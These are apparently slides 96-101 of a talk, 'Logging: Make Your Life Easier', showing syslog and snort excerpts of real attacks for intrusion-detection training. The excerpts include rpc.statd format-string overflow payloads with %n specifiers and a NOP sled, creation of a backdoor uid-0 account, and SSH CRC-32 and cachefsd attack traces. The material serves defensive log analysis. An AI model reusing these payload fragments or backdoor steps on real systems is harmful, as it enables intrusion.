Jan 2 16:19:23 yyy.yyy.yyy.yyy snort[1260]: RPC Info Query: 216.216.74.2:963 -> xxx.xxx.xxx.xxx:111

Jan 2 16:19:31 yyy.yyy.yyy.yyy snort[1260]: spp_portscan: portscan status from 216.216.74.2: 2 connections across 1 hosts: TCP(2), UDP(0)

Page 96: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Buffer OverflowsJan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]: gethostbyname

error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 804971090909090687465676274736f6d616e797265206520726f7220726f66 bffff718 bffff719 bffff71a bffff71b!

!

Page 97: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

Buffer Overflown?

Jan 02 16:20:25 xxx.xxx.xxx.xxx adduser[12152]: new user: name=cgi, uid=0, gid=0, home=/home/cgi, shell=/bin/bash

Jan 02 16:22:02 xxx.xxx.xxx.xxx PAM_pwdb[12154]: password for (cgi/0) changed by ((null)/0)

Page 98: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

SSH CRC-32 Attack

sshd[6169]: fatal: Local: Corrupted check bytes on input.

sshd[6253]: fatal: Local: crc32 compensation attack: network attack detected

Page 99: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

cachefsd Buffer Overflow

May 16 22:46:08 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Segmentation Fault - core dumped

May 16 22:46:22 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Bus Error - core dumped

May 16 22:47:09 victim-host inetd[600]: /usr/lib/fs/cachefs/cachefsd: Hangup

Page 100: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

What’s Interesting? cont.

Jun 26 16:48:11 grolsch rpc.statd[382]: gethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿%8x%8x%8x%8x%8x%8x%8x%8x%8x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

Page 101: Logging: Make Your Life Easier Dr. Tina Bird tbird@precision-guesswork.com Last modified: 27-Aug-15.

What does it take?

The common item to look for when reviewing log files is anything that appears out of the ordinary.

CERT Coordination Center Intrusion Detection Checklist